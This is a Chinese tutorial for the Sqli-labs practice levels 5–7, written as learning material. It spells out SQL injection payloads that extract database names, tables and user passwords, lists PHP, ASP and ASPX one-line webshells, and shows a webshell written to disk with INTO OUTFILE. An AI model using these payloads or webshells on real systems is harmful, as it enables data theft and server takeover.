作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
知识点:
left(a,b) 从左取a的b位,判断是否正确,正确返回1,错误返回0
ascii() 将字符串转为ascii值
UPDATEXML (XML_document, XPath_string, new_value) 详细讲解可网上搜索
一句话木马
php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是: <%eval request ("pass")%>
aspx的一句话是: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
load_file() 读取本地文件
into outfile 写入文件
Less-5:
此文章Less-5重点讲解注入思路和流程,所以有大量不必要流程,如果掌握熟练可以从Less6开始学习!!!!!!
1.查找注入点
当输入id=1时,会输出显示You are in…….的提示。当输入id=100时,只有Welcome Dhakkan 的提示。由此可以确定,这关属于典型的报错注入,当输入正确时返回一个值,输入错误时返回另一个值或不返回值。
演示:
之后我们进行闭合测试,发现输入 " ? ) 进行闭合时只有You are in…….提示,而输入单引号 **'**进行闭合时会报错,由此可以确定闭合成功,我们也就找到了注入点。
2.猜测数据库名
方法一
输入:
/Less-5/?id=1' and left((select database()),1)='a' --+ //报错说明数据库名第一个不是a
/Less-5/?id=1' and left((select database()),1)='s' --+ //返回You are in… 说明数据库名第一个字母是s
/Less-5/?id=1' and left((select database()),2)='se' --+ //返回You are in… 说明数据库名第二个字母是e
以此类推可以得到数据库名,但是我们发现这太慢了。所以可以直接使用Burp Suite进行爆破
首先输入/Less-5/?id=1’ and left((select database()),1)=‘a’ --+ 进行抓包。
演示:
以此类推,获取整个数据库名security。
方法二
这里也可以
/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+
3.猜测数据库(security)中的表
users表是咱们要爆破的表
方法一
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))>c --+
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1)) >117 --+
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit a,1),b,1))=c --+
/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1)) =117 --+
a是从0开始第几个表,b是为第几个字符,c是ASCII所对应的十进制数,先经过对c的大小判断找到对应的范围,在对c进行确定。
通过此方法可以获取到security里面的表
方法二
/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
4.猜测数据库security中的users表里的字段
/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
5.猜测数据库security中的users表里username和password的列
/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+
/Less-5/?id=1' and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(password)),0x7e) from users ),0x7e),1) --+
建议使用盲注脚本或工具进行注入
Less-6:
1.查找注入点
/Less-6/?id=1" --+ //less5的区别就是单引号换成的双引号
2.猜测数据库名
/Less-6/?id=1" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+ //这里就不讲解其他方法了
3.猜测数据库(security)中的表
/Less-6/?id=1" and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(table_name)),0x7e) from information_schema.tables where table_schema='security'),0x7e),1) --+
4.猜测数据库security中的users表里的字段
/Less-6/?id=1" and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(column_name)),0x7e) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+
5.猜测数据库security中的users表里username和password的列
/Less-6/?id=1" and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(username)),0x7e) from users ),0x7e),1) --+
/Less-6/?id=1" and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select group_concat(password)),0x7e) from users ),0x7e),1) --+
Less-7:
1.环境准备
如果是phpstudy环境搭建Sqli-labs靶场要在所在的环境进入数据库并输入show variables like ‘%secure%’; 检查secure-file-priv的值,如果不是C:\而是NULL则要在phpstudy的mysql数据库存放路径里找到my.ini文件(C:\phpstudy\PHPTutorial\MySQL\my.ini)在里面添加一行secure_fike_priv=“/” 并重新启动数据库。
2.查找注入点
/Less-7/?id=1')) --+
3.木马写入与利用
/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["password"])?>' into outfile "C:\\phpstudy_pro\\WWW\\sqli\\Less-7\\text.php" --+
-1 显示空,如果是1则会把正确值写入进去
<?php @eval($_POST["password"])?> password为密码
into outfile "C:\\......" 因为\被注释掉了所以用双斜杠
在浏览器访问Less-7路径里的木马文件/Less-7/text.php,之后利用中国菜刀就可以拿到靶机的管理权限。
演示: